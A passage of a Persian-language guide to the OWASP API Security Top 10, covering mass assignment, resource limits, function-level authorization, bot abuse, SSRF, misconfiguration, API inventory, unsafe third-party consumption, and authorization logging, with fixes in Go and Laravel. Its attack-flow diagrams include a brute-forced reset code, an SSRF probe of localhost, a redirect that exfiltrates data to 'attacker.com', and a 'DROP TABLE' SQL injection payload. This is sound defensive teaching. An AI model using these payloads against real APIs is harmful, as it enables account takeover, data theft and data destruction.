4 -> {"id":313,"name":"Sam"} -> 422 role prohibited (or 400 unknown field)سناریوهای واقعی؛ سه مورد نخست از OWASP: mutationِ reportUser در برنامهٔ آشنایی، fullName و recentLocation کاربر گزارششده را برمیگرداند؛ میزبان بازار اجاره، "total_stay_price": "$1,000,000" را به تأیید رزرو اضافه میکند؛ کاربر پلتفرم ویدئو با "blocked": false در تغییر توضیح، ویدئوی مسدودشدهٔ خودش را آزاد میکند. نمونههای دیگر: فهرست autocomplete با ایمیل، تلفن و آخرین ورود؛ پاسخ orders شامل internal_margin و fraud_score؛ درخواست PUT /me پذیرندهٔ email_verified_at، tenant_id یا balance؛ introspection در GraphQL و schema سهلگیر که درخواست هر فیلدی را مجاز میکند.
| سمت | ابزار نادرست | ابزار درست در Go | ابزار درست در Laravel 13 |
|---|---|---|---|
| خواندن | json.Marshal(user)، $user->toArray()، "to_json() and to_string()" از OWASP | structِ DTO پاسخ برای هر مخاطب (PublicUser، SelfUser) | JsonResource (UserResource) با when()؛ #[Hidden] لایهٔ پشتیبان |
| نوشتن | json.Decode(&user)، $model->update($request->all())، #[Unguarded] / $guarded = [] | DTO ورودی، DisallowUnknownFields و کپی صریح | قواعد Form Request و validated() / safe()->only()، #[Fillable]؛ در 12.x و قدیمیتر protected $fillable |
| هر دو | فهرست ممنوع مانند $guarded = ['role'] یا فقط json:"-" | فهرست مجاز ویژگیها | فهرست مجاز؛ OWASP: "Do not rely on a block-list as the sole protection" |
| لایهٔ اضافه | اعتماد به فیلتر کلاینت | اعتبارسنجی پاسخ با schema در CI و تست | assertExactJson در feature test |
فهرست پیشگیری OWASP دقیقاً به این کنترلها نگاشت میشود: "cherry-pick specific object properties you specifically want to return"؛ "avoid using functions that automatically bind a client's input into code variables, internal objects, or object properties"؛ "Allow changes only to the object's properties that should be updated by the client"؛ "Implement a schema-based response validation mechanism as an extra layer of security"؛ و "Keep returned data structures to the bare minimum". جملهٔ کلیدی cheat sheet: "DTOs and field allowlists restrict writable properties; they do not replace authorization for the requested object and operation"؛ API3 جای API1 نیست.
$fillable در برابر $guarded: در Laravel 12 و کد قدیمیتر، فهرست مجاز protected $fillable = ['name', 'email']; و فهرست ممنوع protected $guarded = ['role']; است؛ $guarded = [] همهچیز را آزاد میکند. Laravel 13 همین سازوکار را با attributeهای کلاس #[Fillable([...])]، #[Guarded([...])] و #[Unguarded] مستند میکند و میگوید "all Eloquent models are protected against mass assignment vulnerabilities by default." انتخاب بهتر $fillable/#[Fillable] است؛ $guarded با افزودهشدن ستون به حالت باز شکست میخورد.
API4 Unrestricted Resource Consumption مهم
به زبان ساده: یک درخواست را میتوان بسیار گران کرد: صفحهٔ دهمیلیونردیفی، هزار mutation در یک batch، دانلود ۱۸ GB یا دههزار SMS به هزینهٔ شما.
بدفهمی رایج: «محدودیت نرخ داریم، پس پوشش داریم.» سقف تعداد درخواست سقف کار هر درخواست نیست. سناریوی GraphQL در OWASP با ۹۹۹ mutationِ uploadPic در یک درخواست، "traditional rate limiting" را دور میزند.
تعریف و توضیح ویژهٔ این صفحه: API آسیبپذیر است "if at least one of the following limits is missing or set inappropriately": timeout اجرا، حداکثر حافظهٔ تخصیصپذیر، file descriptor، فرایند، اندازهٔ آپلود، "Number of operations to perform in a single API client request (e.g. GraphQL batching)"، "Number of records per page" و "Third-party service providers' spending limit". اصلاح در Go resource و Laravel OrderController::index سقف هر درخواست است: اندازهٔ صفحه حداکثر ۱۰۰، بدنه ≤ ۳۲ KiB، batch ≤ ۲۵ عملیات. بخش هزینه نیز الزام دارد: "Configure spending limits for all service providers/API integrations. When setting spending limits is not possible, billing alerts should be configured instead." محدودسازی هر عملیات مانند "validate an OTP, or request password recovery" بهازای کاربر و منبع انجام میشود. الگوریتمهای token bucket، sliding window و محدودیت توزیعشده در محدودیت نرخ هستند. ارجاعها: CWE-770، CWE-400، CWE-799.
API5 Broken Function Level Authorization (BFLA): مسیر مدیریتی و دستکاری متد حیاتی
به زبان ساده: کارت مهمان راهروی کارکنان را باز میکند، چون کسی قفل راهرو را تنظیم نکرده؛ مهمان فقط باید پیدایش کند. در API این راهرو /api/admin/...، POST /api/invites/new یا صرفاً DELETE روی URLای است که فقط GET آن مجاز بوده.
بدفهمی رایج: «مسیرهای مدیر زیر /admin هستند و gateway از /admin/* محافظت میکند.» OWASP: "Don't assume that an API endpoint is regular or administrative only based on the URL path" و "it's very common to find these administrative endpoints under other relative paths together with regular endpoints, like /api/users." باور دیگر: «فقط کنسول مدیر آن را صدا میزند.» بستهٔ JavaScript و باینری موبایل همهٔ URLها را فهرست میکنند.
تعریف: BFLA نبود یا نادرستی بررسی تابعهای مجاز فراخواننده است، در برابر اشیای مجاز در API1. پرسشهای OWASP: "Can a regular user access administrative endpoints?"؛ آیا کاربر "by simply changing the HTTP method (e.g. from GET to DELETE)?" کاری میکند؛ آیا گروه X به تابع گروه Y "by simply guessing the endpoint URL and parameters (e.g. /api/v1/users/export_all)?" میرسد؟ ارجاع: CWE-285 Improper Authorization.
Mallory (role=user) API (authenticated, no function check)
1 GET /api/invites/{guid} -> 200 {"email":..., "role":"user"} allowed
2 POST /api/invites/new {"email":"m@evil","role":"admin"} -> 201 BFLA: admin function
3 (accepts own invite, logs in as admin)
4 GET /api/admin/v1/users/all -> 200 every user BFLA: guessed URL
5 DELETE /api/users/2 -> 204 BFLA: method change
fix: route table where each route names roles; deny by default; 403 + authz_fail
6 POST /api/invites/new -> 403 GET /api/admin/v1/users/all -> 403سناریوهای واقعی: جریان دعوت OWASP که کاربر دعوت مدیر میسازد؛ حدس GET /api/admin/v1/users/all؛ endpoint خروجی CSV موبایل که برای ابزار داخلی منتشر شده؛ مسیر PUT /api/users/{id}/role که generator کنار PUT /api/users/{id} خود کاربر ثبت کرده؛ impersonation پشتیبانی که فقط لینک ندارد؛ feature flag پنهانکنندهٔ دکمه بدون بستن مسیر؛ schema در GraphQL که deleteUser را به هر کلاینت احرازشده میدهد.
| الگو | چرا شکست میخورد | اصلاح |
|---|---|---|
| بررسی فقط در UI | API مستقیم صدا زده میشود | بررسی تابع در سرور |
قاعدهٔ پیشوند مسیر در gateway (/admin/*) | تابع مدیریتی جای دیگر هم هست | Policy هر مسیر داخل سرویس |
handler مشترک GET و DELETE با بررسی یک شاخه | متد دیگر بیبررسی است | متد در الگوی مسیر (DELETE /api/users/{id})؛ policy برای هر متد |
بررسی اختیاری؛ «هرجا لازم بود ->middleware('can:...') اضافه کن» | همان مسیر فراموششده راه نفوذ است | رد پیشفرض؛ router مسیر بیpolicy نمیپذیرد |
| نقش از توکن بدون بررسی دوبارهٔ وضعیت سرور | مدیر عزلشده تا انقضا مدیر میماند | توکن کوتاهعمر؛ جستوجوی نقش در سرور برای تابع مدیریتی |
پیشگیری OWASP: سازوکار اعمال مجوز "should deny all access by default, requiring explicit grants to specific roles for access to every function"؛ "all of your administrative controllers inherit from an administrative abstract controller that implements authorization checks"؛ تابع مدیریتی داخل controller عادی هم نقش را بررسی کند. در Go این همان جدول مسیر bfla.NewMux است. در Laravel گروه مسیر can:admin همراه #[Middleware('can:admin')] روی controller باعث میشود بررسی همراه کلاس جابهجا شود.
API6 Unrestricted Access to Sensitive Business Flows: سوءاستفادهٔ ربات و منطق کسبوکار حیاتی
به زبان ساده: همهٔ درخواستها معتبر، احرازشده و درست پردازش میشوند، ولی کسبوکار ضرر میکند: اسکریپت کل موجودی را میخرد، همهٔ میزها را رزرو میکند یا همهٔ پاداشهای دعوت را جمع میکند. فقط فرض «انسان دارد کلیک میکند» شکسته است.
بدفهمی رایج: «این مشکل تیم تقلب است، نه آسیبپذیری API.» OWASP آن را خطر API میداند، چون API جریان را عرضه میکند بیآنکه جلوی آسیب ناشی از استفادهٔ خودکار و افراطی را بگیرد. متن OWASP این وضعیت را چنین توصیف میکند: "without compensating for how the functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from implementation bugs." باور دوم این است که سقف IP کافی است؛ اما ربات سناریوی کنسول از IPها و مکانهای مختلف درخواست میفرستد: "distributed across different IP addresses and locations".
تعریف: "An API Endpoint is vulnerable if it exposes a sensitive business flow, without appropriately restricting the access to it." مثالها: خرید، یعنی "buy all the stock of a high-demand item at once and resell for a higher price (scalping)"؛ ایجاد نظر و پست برای spam؛ رزرو، یعنی "reserve all the available time slots". خطر به زمینه وابسته است: "creation of posts by a script might be considered as a risk of spam by one social network, but encouraged by another". صفحه CWE ندارد؛ کاتالوگ مرتبط OWASP Automated Threats to Web Applications یا OAT شامل OAT-005 Scalping با "limited availability of sought-after or exclusive goods or services" و OAT-013 Sniping، گونهٔ "last minute" آن است.
Bot (one operator, 300 accounts, residential proxies) Shop API
1 09:00:00.000 POST /cart {"sku":"console-x"} x300 -> 201 valid
2 09:00:00.180 POST /checkout {"sku":"console-x"} x300 -> 204 x100, 409 sold out every unit gone in 180 ms
3 09:00:05 humans click "Buy" -> 409 sold out
4 09:10 listings appear on a resale site at 3x
fix: per user 2, per device 2, per SKU 300/min, cart->checkout >= 1 s, device id required, challenge on doubt
5 09:00:00.180 checkout x300 -> 428 challenge (too fast), 429 (device cap)سناریوهای واقعی؛ سه مورد نخست از OWASP: خرید احتکاری کنسول در روز عرضه؛ شرکت هواپیمایی با لغو رایگان که یک کاربر ۹۰٪ پرواز را رزرو میکند، چند روز مانده لغو میکند و صندلی تخفیفخورده میخرد؛ برنامهٔ دعوت تاکسی اینترنتی با ثبتنام اسکریپتی. نمونههای دیگر: عرضهٔ بلیت، احتکار وقت رستوران یا درمانگاه، بررسی موجودی gift card یا card cracking، سوءاستفاده از کوپن و دورهٔ رایگان، انبوهسازی رأی و review و محرومکردن دیگران از موجودی با نگهداشتن سبد.
| لایه | سازوکار | قوت | هزینه |
|---|---|---|---|
| کسبوکار | نامگذاری جریان حساس و استفادهٔ مجاز هر فرد؛ «2 عدد برای هر مشتری در هر عرضه» | ترس مبهم به قاعدهٔ آزمونپذیر تبدیل میشود | تصمیم محصول با مالک مشخص |
| هویت | سقف کاربر و منبع؛ هر حساب برای هر SKU و کل هر SKU | مهار یک حساب و حفاظت منبع کمیاب | مزرعهٔ حساب سقف کاربر را دور میزند |
| دستگاه | اثرانگشت دستگاه (Device fingerprinting): "denying service to unexpected client devices (e.g headless browsers)" | افزایش هزینهٔ مهاجم | حریم خصوصی؛ جعلپذیر |
| تشخیص انسان | CAPTCHA، "advanced biometric solutions (e.g. typing patterns)" | قوی علیه ربات ارزان | اصطکاک UX؛ مزرعهٔ حل challenge |
| رفتار | "Non-human patterns" مانند سبد تا خرید "in less than one second" | ارزان و سمت سرور | نیاز به timestamp سرور |
| شبکه | "Consider blocking IP addresses of Tor exit nodes and well-known proxies" | حذف ارزانترین ترافیک | proxy مسکونی باقی میماند |
| API ماشینی | "Secure and limit access to APIs that are consumed directly by machines (such as developer and B2B APIs)" | بستن در جانبی | اصطکاک شریک |
| طراحی | صف یا قرعهکشی عرضه؛ بیعانهٔ رزرو؛ هزینهٔ لغو | حذف انگیزه | تغییر کسبوکار |
اصلاح / روش استفاده: flows.Guard در Go و CheckoutController همراه limiterِ throttle:checkout در Laravel لایههای هویت، دستگاه و رفتار را اجرا میکنند. نمونهٔ آسیبپذیر عمداً کد درست و بدون race است که قاعدهٔ کسبوکار ندارد. خود سقفها هم باید بدون race باشند: «خرید کاربر را بشمار، بعد insert کن» اجازه میدهد دو درخواست همزمان هر دو ۱ ببینند و هر دو بخرند. SELECT عادی قفل (Lock) نمیگیرد و PostgreSQL دستور SELECT count(*) ... FOR UPDATE را نمیپذیرد. پس controller یک ردیف شمارنده برای (SKU، کاربر) و (SKU، دستگاه) نگه میدارد و با یک UPDATE ... SET count = count + 1 WHERE count < cap شرطی واحد میگیرد. صفر ردیف تغییرکرده یعنی سقف پر شده و تراکنش (Transaction) پیرامونی هرچه قبلاً گرفته شده را rollback میکند. برای شمارندهٔ مشترک بین نمونهها در Redis، محدودیت نرخ را ببینید.
API7 Server Side Request Forgery تکمیلی
به زبان ساده: API برایتان URL واکشی میکند، مثلاً تصویر پروفایل یا تست webhook؛ شما آدرسی در شبکهٔ کارکنان هتل به آن میدهید.
بدفهمی رایج: «فهرست مجاز hostname کافی است.» DNS rebinding و redirect بررسی نام را دور میزنند؛ بررسی IP باید هنگام اتصال socket باشد.
تعریف و توضیح ویژهٔ این صفحه: "Server-Side Request Forgery (SSRF) flaws occur when an API is fetching a remote resource without validating the user-supplied URL." از نگاه OWASP، API آن را "More common" میکند؛ با webhook، واکشی فایل از URL، SSO سفارشی و پیشنمایش URL. همچنین "More dangerous" است؛ کانالهای مدیریت ابر، Kubernetes و Docker "over HTTP on predictable, well-known paths" در دسترساند. "The SSRF risk can not always be completely eliminated." سناریوها: {"picture_url": "localhost:8080"} برای اسکن port با زمان پاسخ، و «ارسال درخواست آزمایشی» webhook که پاسخ URL داخلی را برمیگرداند. پیشگیری: "Isolate the resource fetching mechanism in your network"، فهرست مجاز origin راهدور، "URL schemes and ports" و media type. نمونهٔ Go ssrf.Check و Laravel RemoteImageFetcher پشت POST /me/avatar/import فهرست مجاز سطح URL را نشان میدهند: https، port ۴۴۳، بدون userinfo و IP literal، میزبان مجاز و بدون redirect. بررسی IP هنگام اتصال با net.Dialer.Control، metadata ابر با IMDSv2 و طراحی egress در OWASP Top 10: SSRF هستند. ارجاع: CWE-918.
API8 Security Misconfiguration تکمیلی
به زبان ساده: هتل در ضدحریق را باز نگه داشته و فهرست کلید مادر را روی میز پذیرش گذاشته: پیشفرضها، خروجی debug، CORS باز و HTTP ساده داخل شبکه.
بدفهمی رایج: «API داخلی TLS لازم ندارد.» OWASP همهٔ ارتباطات "from the client to the API server and any downstream/upstream components" را روی TLS میخواهد، "regardless of whether it is an internal or public-facing API."
تعریف و توضیح ویژهٔ این صفحه: API8 نبود سختسازی "across any part of the API stack"، patchهای نصبنشده، "Unnecessary features are enabled (e.g. HTTP verbs, logging features)"، پردازش ناسازگار درخواست "in the HTTP server chain" یا request smuggling، نبود TLS و cache-control، "Cross-Origin Resource Sharing (CORS) policy is missing or improperly set" و "Error messages include stack traces" را فهرست میکند. اصلاح ویژهٔ API در بستهٔ Go misconfig و Laravel config/cors.php همراه closure رندر در bootstrap/app.php: فهرست دقیق origin مجاز CORS با Vary: Origin در Go، بدنهٔ خطای RFC 9457 با نوع application/problem+json و فقط شناسهٔ همبستگی، الگوی مسیر همراه متد تا بقیه ۴۰۵ بگیرند، و "define and enforce all API response payload schemas, including error responses". هدرها، APP_DEBUG، XXE و سختسازی در OWASP Top 10: A05 و چکلیست سختسازی امنیت API هستند. ارجاعها: CWE-2، CWE-16، CWE-209، CWE-319، CWE-388، CWE-444، CWE-942.
API9 Improper Inventory Management: فهرست APIها، Shadow API و Zombie API حیاتی
به زبان ساده: دری را که از وجودش خبر ندارید نمیتوانید قفل کنید. میزبان beta، /v1 فراموششده، مسیر debug یا endpoint شریکی که بیش از حد داده میدهد، همگی ورودی بیرون از مرور امنیتیاند.
بدفهمی رایج: «gateway محدودیت نرخ دارد، پس همهٔ APIها دارند.» در سناریوی اول OWASP، limiter در "in a separate component between the client and the official API (api.socialnetwork.owasp.org)" بود. میزبان "beta.api.socialnetwork.owasp.org" همان API را بدون آن اجرا میکرد؛ پژوهشگر "the 6 digit token" را brute force کرد و گذرواژهٔ هرکس را reset کرد. باور دوم، inventory بهمعنای فقط فهرست URL است. فهرست OWASP میزبان، محیط، مخاطب، نسخه و جریان داده به شخص ثالث را پوشش میدهد.
تعریف: OWASP دو نقطهٔ کور را نام میبرد. "documentation blindspot": هدف میزبان روشن نیست؛ کدام محیط، چه کسی مجوز شبکه دارد و "Which API version is running?"؛ مستندات غایب یا کهنهاند؛ "There is no retirement plan for each API version" یا "The host's inventory is missing or outdated". "data flow blindspot": جریان "sensitive data flow" به شخص ثالث بدون "a business justification or approval"، بدون "inventory or visibility of the flow" یا بدون دانستن "which type of sensitive data is shared". NIST SP 800-228 دو نتیجهٔ کلاسیک را نام میبرد: Shadow API، مستندنشده و بیرون مرور؛ Zombie API، جایگزینشده ولی حذفنشده. صفحهٔ OWASP به "CWE-1059: Incomplete Documentation" ارجاع میدهد؛ عنوان فعلی MITRE برای CWE-1059، Insufficient Technical Documentation است.
Researcher Estate
1 dig api.socialnetwork.example / certificate transparency -> api., beta.api., v1.api., staging-api.
2 POST api./reset {"code":"000000".."999999"} -> 429 after 5 tries (gateway limiter)
3 POST beta.api./reset {"code":"000000".."999999"} -> no limiter; code found in minutes
4 GET v1.api./users/me -> old response shape with mfa_secret (zombie)
fix: inventory every host+version+owner; same protection on every exposed version; sunset v1; delete beta
5 GET v1.api./users/me (after sunset) -> 410 Gone, Deprecation/Sunset headers before thatسناریوهای واقعی: میزبان beta بدون limiter در OWASP؛ سناریوی دوم آن، شبکهٔ اجتماعی با جریان داده به برنامههای ثالث که دادهٔ دوستان را هم افشا میکرد، بهطوریکه "consent of 270,000 users" به "the private information of 50,000,000 users" رسید؛ /v1 باقیمانده برای یک کلاینت قدیمی موبایل که هنوز password_reset_token میدهد؛ Service با type: LoadBalancer در Kubernetes برای demo؛ GraphQL با introspection روشن در production؛ endpoint مخصوص شریک که روی gateway عمومی هم هست.
| فیلد inventory | دلیل | محل نگهداری |
|---|---|---|
| میزبان و محیط | "production, staging, test, development" | کاتالوگ سرویس، DNS و tagهای ابر |
| مخاطب | "public, internal, partners" | x-audience در OpenAPI، پیکربندی مسیر gateway |
| نسخه و چرخهٔ عمر | تاریخ deprecation و sunset و جانشین | deprecated: true و x-sunset در OpenAPI؛ هدرهای Deprecation/Sunset |
| مالک | مسئول پاسخگویی رخداد | x-owner و کاتالوگ سرویس |
| عملیات | هر مسیر، متد، پارامتر، درخواست و پاسخ | سند OpenAPI تولیدشده در CI |
| احراز هویت، خطا، سقف و CORS | OWASP: "authentication, errors, redirects, rate limiting, cross-origin resource sharing (CORS) policy" | securitySchemes در OpenAPI و policyِ gateway |
| سرویس یکپارچه و جریان داده | "their role in the system, what data is exchanged (data flow), and their sensitivity" | دفتر جریان داده و سوابق DPA |
| واقعیت زمان اجرا | NIST: "service instances, instance IP addresses, runtime service ID, traffic volume" | telemetryِ gateway و mesh |
OpenAPI بهعنوان inventory: درخواست OWASP این است: "Generate documentation automatically by adopting open standards. Include the documentation build in your CI/CD pipeline." در OpenAPI 3.1، Operation Object فیلد deprecated دارد که "Declares this operation to be deprecated. Consumers SHOULD refrain from usage of the declared operation." سند OpenAPI را مرجع حقیقت کنید و اختلاف کد و سند را شکست build قرار دهید. در Go، inventory.Mount مسیر سایه را نمیپذیرد؛ در Laravel، CI خروجی php artisan route:list --json را با spec مقایسه میکند.
نسخهبندی و کنارگذاری: با Deprecation: @<unix-time> طبق RFC 9745 اعلام کنید که منبع "will be or has been deprecated"؛ Sunset: <HTTP-date> طبق RFC 8594 میگوید URI "is likely to become unresponsive at a specified point in the future". به جانشین لینک بدهید. هر اصلاح امنیتی تازه را روی همهٔ نسخههای در دسترس اعمال کنید یا نسخهٔ قدیمی را بازنشسته کنید: "perform a risk analysis to inform the mitigation actions required for the older versions". پس از sunset پاسخ ۴۱۰ Gone بدهید و سپس مسیر و میزبان را حذف کنید. راهبرد URI در برابر header و سازگاری در نسخهبندی API است. دو توصیهٔ دیگر OWASP: "Avoid using production data with non-production API deployments" و "Make API documentation available only to those authorized to use the API."
API10 Unsafe Consumption of APIs: اعتماد به API شخص ثالث حیاتی
به زبان ساده: کیف هر مهمان را دم در بررسی میکنید، ولی کیسهٔ شرکت رختشویی را باز نمیکنید. دادهٔ API شریک، ورودی غریبهای است که اتفاقاً با او قرارداد دارید.
بدفهمی رایج: «ارائهدهنده مشهور است، پس داده تمیز است.» OWASP: "Developers tend to trust data received from third-party APIs more than user input. This is especially true for APIs offered by well-known companies." ارائهدهنده ممکن است هک شود، باگ داشته باشد یا فقط دادهٔ تایپشدهٔ کاربران خودش را ذخیره کند؛ همین مسیر ورود payloadِ SQL از سرویس غنیسازی آدرس است.
تعریف: API "might be vulnerable if" شرایط زیر را داشته باشد: "Interacts with other APIs over an unencrypted channel"؛ "Does not properly validate and sanitize data gathered from other APIs prior to processing it or passing it to downstream components"؛ "Blindly follows redirections"؛ "Does not limit the number of resources available to process third-party services responses"؛ "Does not implement timeouts for interactions with third-party services". ارجاعها: CWE-20 Improper Input Validation، CWE-200 Exposure of Sensitive Information to an Unauthorized Actor و CWE-319 Cleartext Transmission of Sensitive Information.
Your API Partner (compromised) attacker.com
1 POST https://partner/store_phr_record
{"genome":"ACTAGTAG..."} -> 308 Permanent Redirect
Location: https://attacker.com/
2 client follows 308, re-sends the body ------------------------------------------> receives the genome
3 GET https://geo-partner/lookup?q=... -> {"name":"x'); DROP TABLE businesses;--"}
4 INSERT ... VALUES ('x'); DROP TABLE businesses;--') SQL injection via partner
fix: TLS + host allow-list, redirects off, timeouts, body cap, validate fields, bind parameters
5 308 -> ErrRedirect (nothing sent on); payload -> bound as $1 (stored as text) or rejected by validationسناریوهای واقعی؛ سه مورد نخست از OWASP: سرویس غنیسازی آدرس که payloadِ SQLi را در پایگاه دادهٔ شما اجرا میکند؛ شریک دادهٔ پزشکی که پس از نفوذ با 308 پاسخ میدهد تا کلاینت دادهٔ حساس را به مهاجم بازپخش کند؛ repo git با نام '; drop db;-- که integration در SQL میگذارد. نمونههای دیگر: بدنهٔ webhook پرداخت بدون بررسی امضا؛ کلیدهای API، امضای درخواست و webhook؛ پاسخ HTML از LLM یا جستوجو که بدون escape رندر میشود؛ شریک با بدنهٔ ۲ GB یا اتصال هرگز بستهنشده؛ API حملونقل با tracking_url که بعداً واکشی میکنید و به SSRF از مسیر شریک تبدیل میشود.
| بررسی | Go | Laravel 13 | دلیل |
|---|---|---|---|
| فقط TLS و فهرست مجاز میزبان | checkEndpoint برای گام اول و CheckRedirect برای بعدیها | Http::baseUrl('https://...') | "Ensure all API interactions happen over a secure communication channel (TLS)" |
| فهرست مجاز redirect | CheckRedirect بیرون فهرست خطا میدهد | withOptions(['allow_redirects' => false])، Http::globalOptions | "do not blindly follow redirects" |
| timeout | http.Client.Timeout و context درخواست | connectTimeout(2)، timeout(5) | پیشفرض Laravel برابر 30 s؛ Timeout صفر Go یعنی نامحدود |
| سقف اندازه پیش از buffering | io.LimitReader(body, max+1) | withOptions(['stream' => true])، رد Content-Length بزرگ، خواندن $response->resource() تا سقف با BoundedBody | اتمام حافظه؛ بررسی پس از $response->body() دیر است |
| وضعیت و نوع | 200 و application/json | status()، header('Content-Type') | جلوگیری از تفسیر صفحهٔ خطا بهعنوان داده |
| اعتبارسنجی فیلد | Business.Validate() با regex و طول | Validator::make($response->json(), [...]) | "Always validate and properly sanitize data received from integrated APIs" |
| استفاده بهعنوان داده | پارامتر bindشده ($1) | DB::insert('... ?', [...]) | جلوگیری از injection |
| وضعیت امنیتی ارائهدهنده | کاربرد ندارد | کاربرد ندارد | "When evaluating service providers, assess their API security posture" |
Middleware مجوز و Policy object: جای هر بررسی حیاتی
به زبان ساده: سه پرسش، سه جا. «فراخواننده وارد شده؟» در میانافزار (Middleware). «میتواند این تابع را اجرا کند؟» روی مسیر. «میتواند به این شیء و فیلد دست بزند؟» به خود شیء نیاز دارد؛ پس در شیء سیاست (Policy object) است که handler صدا میزند و Query محدودشده پشتوانهاش است.
بدفهمی رایج: «همهٔ مجوز را در یک middleware بگذار.» Middleware پیش از بارگذاری شیء اجرا میشود؛ نقش و scope را در API5 میسنجد، اما مالکیت API1 و فیلدهای API3 را نه. اشتباه معکوس، پخشکردن if ($order->user_id !== $user->id) در controllerهاست؛ همیشه یک نسخه جا میافتد. توصیهٔ API5، "a consistent and easy-to-analyze authorization module that is invoked from all your business functions" است. cheat sheet مجوز بررسی را "on every request, regardless of whether the request was initiated by an AJAX script, server-side, or any other source" میخواهد، با فناوری دارای "global, application-wide configuration rather than needing to be applied individually to every method or class".
تعریف: Middleware مجوز، فیلتر درخواست پیش از handler است: احراز هویت، نقش، scopeِ OAuth و سازگاری هدر tenant. Policy object کلاس یا تابعی با یک متد برای هر عمل (view، update، delete) است که فراخواننده و شیء را میگیرد و اجازه یا رد میدهد. Laravel Policies و Gate شکل فریمورکی، CanView(user, order) bool شکل Go، و OPA/Cedar/OpenFGA شکل بیرونی آناند؛ مدلهای مجوز. دامنهٔ Query یا Query scope نیمهٔ پایگاه داده است: شیء بیرون tenant فراخواننده اصلاً بارگذاری نمیشود.
1 request -> auth middleware (401 if no valid principal; principal into context)
2 -> route policy (403 if role/scope missing: API5)
3 -> handler loads object (scoped by tenant: foreign tenant = not found)
4 -> policy.view(user, obj) (404/403 if not owner/allowed: API1)
5 -> input DTO / Form Request (422/400 for prohibited or unknown properties: API3)
6 -> response DTO (only allow-listed properties leave: API3)
7 any deny -> authz_fail event (logged with user, action, resource, object id)| دغدغه | Middleware | Policy مسیر | Policy object | Query scope | DTO |
|---|---|---|---|---|---|
| احراز هویت شده؟ | بله | ||||
| نقش / scope تابع در API5 | ممکن است | بله | |||
| مالکیت / tenant شیء در API1 | نه | نه | بله | بله | |
| ویژگی خواندنی یا نوشتنی در API3 | نه | نه | بخشی با when | بله | |
| سقف جریان کسبوکار در API6 | limiter | limiter | قاعدهٔ جریان | شمارندهها | |
| آزمون مستقل | بله | بله | بله؛ تست واحد (Unit test) | بله؛ SQL | بله |
مجوز handler در Go: Go لایهٔ policy فریمورکی ندارد. روش معمول این است: principal.Middleware هویت فراخواننده را در context.Context میگذارد؛ جدول مسیر bfla.NewMux برای هر handler یک policy مشخص میکند و اجرای handler را به آن مشروط میکند؛ داخل handler هم تابعی مثل bola.CanView مجوز شیء را بررسی میکند. بررسی مالکیت از context یعنی principal را از r.Context() بخوان، با شناسه بارگذاری کن، policy را صدا بزن و هنگام رد ۴۰۴ بده. شناسهٔ مسیر فقط کلید جستوجو است. ترکیب middleware در Middlewareها و اعتبارسنجی توکن در احراز هویت در Go است.
Laravel: auth:sanctum برای احراز هویت؛ middleware مسیر can:admin / ->can('update', 'post') یا attributeهای controller در Laravel 13 با #[Middleware] و #[Authorize] برای سطح تابع؛ Gate::authorize('view', $order) در action با Policy کشفشده از نامگذاری برای سطح شیء؛ authorize() و rules() در Form Request برای ورودی؛ JsonResource برای خروجی. Gate::before میتواند همهچیز را به super-admin بدهد؛ محدود استفاده کنید چون قواعد شیء را هم دور میزند.
ثبت و هشدار شکستهای مجوز مهم
به زبان ساده: کاوش BOLA شبیه جهش ۴۰۴ و ۴۰۳ از حسابی است که شناسهها را میپیماید. رد شدنها (Denials) را بهعنوان رخداد امنیتی ثبت کنید و برای نرخ آنها هشدار بگذارید تا حمله را در مرحلهٔ کاوش ببینید.
بدفهمی رایج: «۴۰۴ میدهیم تا کسی نفهمد؛ لاگ لازم نیست.» ۴۰۴ برای مهاجم است و لاگ برای شما. ثبت هر ۴۰۴ نویز است؛ فقط Denialهایی را ثبت کنید که حاصل تصمیم policy هستند؛ یعنی شیء وجود دارد، اما فراخواننده اجازهٔ دسترسی ندارد.
تعریف: cheat sheet واژگان لاگ OWASP، رخداد authz_fail[:userid,resource] را با شرح "An attempt was made to access a resource which was unauthorized" تعریف میکند؛ سطح نمونه CRITICAL است. authz_change و authz_admin هم دارد. چه کسی، یعنی شناسهٔ کاربر و tenant و client؛ چه کار، یعنی ability و مسیر و متد؛ کدام شیء، یعنی نوع و شناسه؛ نتیجه و request id را ثبت کنید. هرگز توکن یا بدنه را ننویسید. هشدار نرخ: بیش از N رخداد authz_fail برای یک کاربر در M دقیقه، یا کاربران متعدد روی یک مسیر مدیریتی.
1 09:14:02 authz_fail user=41 ability=view resource=Order object=1002 path=/api/v2/orders/1002
2 09:14:02 authz_fail user=41 ability=view resource=Order object=1003 ...
3 ... 120 lines in 60 s, object ids increasing by 1
4 alert: authz_fail rate user=41 > 20/min -> revoke tokens, open incident, check other tenants| رخداد | منشأ | قاعدهٔ هشدار برای شروع |
|---|---|---|
authz_fail در سطح شیء؛ API1 | رد Policy | بیش از 20 در دقیقه برای هر کاربر؛ شناسهٔ ترتیبی |
authz_fail در سطح تابع؛ API5 | رد policy مسیر | هر تلاش غیرمدیر روی /admin بیش از 3 بار در ساعت |
| 422 برای ویژگی ممنوع؛ API3 | Form Request / decoder فیلد ناشناخته | بیش از 5 بار در ساعت برای هر کاربر؛ کاوش role |
| 429 جریان حساس؛ API6 | limiter جریان | جهش برای هر SKU یا خوشهٔ دستگاه |
| 410 نسخهٔ بازنشسته؛ API9 | middleware چرخهٔ عمر | هر رخداد؛ کلاینت هنوز zombie را میخواند |
| رد بالادستی؛ API10 | کلاینت مصرف API | هر رخداد؛ تغییر یا نفوذ به ارائهدهنده |
فهرست ۲۰۱۹ مدخل API10:2019 Insufficient Logging & Monitoring داشت؛ ۲۰۲۳ مدخل لاگ ندارد و API6 هنوز به متن ۲۰۱۹ ارجاع میدهد. پس اکنون ثبت لاگ درون هر خطر مسئولیت شماست. Pipeline، SIEM و مدیریت رخداد در Secure SDLC و پاسخ به رخداد هستند.
فراتر از REST: GraphQL، gRPC و webhook تکمیلی
به زبان ساده: همان ده خطر با شکل دیگر. GraphQL اشیا و فیلدهای متعدد را پشت یک URL میگذارد؛ gRPC متدها را در protobuf پنهان میکند؛ webhook شما را کلاینت رخدادهای دیگری میکند.
بدفهمی رایج: «GraphQL یک endpoint دارد، پس یک بررسی مجوز کافی است.» هر resolver شیء و فیلد بارگذاری میکند. بررسی باید برای هر resolver در سطح شیء و برای هر فیلد در سطح ویژگی باشد. batch هزارعملیاتی در یک درخواست برای limiter تعداد درخواست، فقط یک «درخواست» است؛ سناریوهای API2 و API4 در OWASP.
| خطر | GraphQL | gRPC | webhook دریافتی |
|---|---|---|---|
